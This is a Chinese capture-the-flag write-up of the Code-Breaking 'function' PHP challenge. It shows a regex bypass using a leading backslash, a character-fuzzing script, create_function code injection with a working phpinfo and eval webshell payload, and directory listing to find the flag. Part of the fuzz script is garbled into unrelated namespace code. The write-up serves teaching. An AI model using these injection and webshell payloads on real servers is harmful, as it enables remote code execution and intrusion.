代码审计从入门到放弃(一) & function
代码审计从入门到放弃(一) & function
原创: 一叶飘零 合天智汇前言
题目概述
漏洞点思考
字符fuzz
getshell函数寻找
getflag
相关实验操作
小结
前言
CodeBreaking是ph牛搭建的代码审计挑战赛:https://code-breaking.com
刚发布的时候一直忙于学业和一些琐事,没法认真研究和学习,最近闲下来了,于是打算填下这个坑~
题目ph牛均已开源至github:https://github.com/phith0n/code-breaking(必须starXD)
题目概述
?php
$action= $_GET['action'] ?? '';
$arg= $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD',$action)) {
show_source(__FILE__);
}else {
$action('', $arg);
}
源码言简意赅,首先是希望我们输入两个参数
$action= $_GET['action'] ?? '';
$arg= $_GET['arg'] ?? '';
其中双问号为三元运算表达式,等价于
$action= $_GET['action'] ? $_GET['action']: '';
$arg= $_GET['arg'] ? $_GET['action']: '';
即输入两个参数,若输入,则取我们的输入,否则为空
然后是对$_GET['action']的正则表达式过滤
if(preg_match('/^[a-z0-9_]*$/isD',$action)
如果不被匹配到正则,则可以进行如下操作
$action('',$arg);
漏洞点思考
题目意思也很简单,我们的关注点应该停留到正则匹配上,因为一旦绕过正则,则可以进行危险函数构造,成功getshell或是读取文件,我们先来看一下正则/^[a-z0-9_]*$/isD的意思:
/i不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]
/D如果使用$限制结尾字符,则不允许结尾有换行;
那么很显然,所有以数字,字母,下划线等开头的value都会被过滤,我们无法进入下面的
$action('',$arg);
那么现在的目的很简单:
按照正则的意思,找到一个不是以数字,字母,下划线等开头的value,同时可以正常执行函数
我们曾经有如下正则Bypass的样例
if(preg_match('/^(.*)flag(.*)$/',$payload))
对于^开头,$结尾的正则,如果用.进行任意字符匹配,那么则不包括换行符
所以这种情况我们可以用%0a进行bypass
正常输入flag:
利用%0a进行bypass:
可以明显看出两张图的对比,这里我们利用%0a打头,成功bypass正则,达到任意input,那么我们也没有相同的思路去bypass现在的正则呢?
既然要顺应正则的意思,我们不妨看看有没有什么特殊字符可以达到一样的效果,不妨进行字符fuzz
字符fuzz
既然要找一个这样满足条件的字符,我们可以进行fuzz
importrequests
fori in range(1,256):
tmp= hex(i)[2:]
iflen(tmp)2:
tmp= '0'+hex(i)[2:]
tmp= '%'+tmp
url= 'http://localhost:22000/?action='+tmp+'var_dump?php
namespacemy\name;
classMyClass {}
constMYCONST = 1;
$a =new MyClass;
$c =new \my\name\MyClass;
$d =namespace\MYCONST;
$d =__NAMESPACE__ . '\MYCONST';
echoconstant($d);
?>
可以很直观的看出对比,以及\的用法
getshell函数寻找
那么既然现在我们找到了利用\进行正则bypass的方法,则需要找一个合适的getshell/ readfile函数
这里注意到参数的构造方式
$action('',$arg);
很显然,需要一个可以输入至少2个参数的函数,同时第二个参数存在RCE的风险
这里可以简单翻阅我之前写的PHPCommand / Code Injection Summary
链接如下
https://skysec.top/2018/03/09/php-command%20or%20code-injection-summary/
不难找到如下函数
stringcreate_function ( string $args , string $code )
通过官方样例
?php
$newfunc= create_function('$a,$b', 'return "ln($a) + ln($b) = " .log($a * $b);');
echo"New anonymous function: $newfunc\n";
echo$newfunc(2, M_E) . "\n";
//outputs
//New anonymous function: lambda_1
//ln(2) + ln(2.718281828459) = 1.6931471805599
?>
我们可以得到create_function()这样的原型
functiontest($a,$b)
{
return"ln($a) + ln($b) = " . log($a * $b);
}
第一个参数控制函数的变量名,第二个参数控制函数内的代码
那么我们这里
$action('',$arg);
可以说很容易进行代码注入拼接达到bypass,例如
$arg= return "2333";}phpinfo();/*
我们不妨带入
functiontest($a,$b)
{
return"2333";
}
phpinfo();
/*}
可以发现,这样即可进行RCE,我们测试一下
http://localhost:22000/?action=%5ccreate_function}phpinfo();/*
发现成功执行了phpinfo
getflag
那么我们插入一句话木马
$arg= return "2333";}eval($_REQUEST['sky']);/*
得到
?action=%5ccreate_function}eval($_REQUEST['sky']);/*
但是得到回显
Warning:system() has been disabled for security reasons in/var/www/html/index.php(8) : runtime-created function(1) : eval()'dcode on line 1
那么我们更改命令
sky=var_dump(scandir('./'));
得到回显
array(3){ [0]=> string(1) "." [1]=> string(2) ".."[2]=> string(9) "index.php" }
我们继续查看上层目录
sky=var_dump(scandir('../'));
得到回显
array(4){ [0]=> string(1) "." [1]=> string(2) ".."[2]=> string(31) "flag_h0w2execute_arb1trary_c0de" [3]=>string(4) "html" }
至此,我们成功getflag
flag_h0w2execute_arb1trary_c0de
相关实验操作
1. 渗透PHP代码审计——学习PHP代码审计的基础知识,为以后的工作奠定基础